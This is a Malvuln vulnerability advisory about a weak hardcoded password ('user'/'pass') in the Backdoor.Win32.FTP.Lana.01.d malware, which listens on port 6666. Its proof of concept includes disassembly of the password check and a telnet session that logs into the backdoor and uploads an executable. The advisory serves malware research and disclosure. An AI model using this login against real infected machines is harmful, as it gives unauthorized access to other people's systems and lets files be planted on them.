Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/fc100ff65f676a26293915407adc211c.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.FTP.Lana.01.d
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 6666. The credentials "user" and "pass" are weak and stored in plaintext with the executable.
Type: PE32
MD5: fc100ff65f676a26293915407adc211c
Vuln ID: MVID-2022-0468
Dropped files: FTP.exe
Disclosure: 01/24/2022

Exploit/PoC:
.text:00402C08                 push    offset aUser    ; "user"
.text:00402C0D                 push    eax             ; lpString1
.text:00402C0E                 call    lstrcmpiA
.text:00402C13                 or      eax, eax


.text:00402C71                 jz      short loc_402CB0
.text:00402C73                 mov     eax, [ebp+lpString1]
.text:00402C76                 add     eax, 5
.text:00402C79                 push    offset aPass    ; "pass"


telnet.exe x.x.x.x 6666
220 Anal FTP v0.1                                                                                                                                                                                                                  
USER user                                                                                                                         
331 Password required for user.                                                                                                   
PASS pass                                                                                                                         
230 User logged in, proceed.                                                                                                      
SYST                                                                                                                              
215 UNIX Type: L8                                                                                                                 
PASV                                                                                                                              
227 Entering Passive Mode (192,168,18,129,225,245).                                                                               
STOR DOOM.exe                                                                                                                     
150 Data connection accepted.                                                                                                     
226 Transfer ok 


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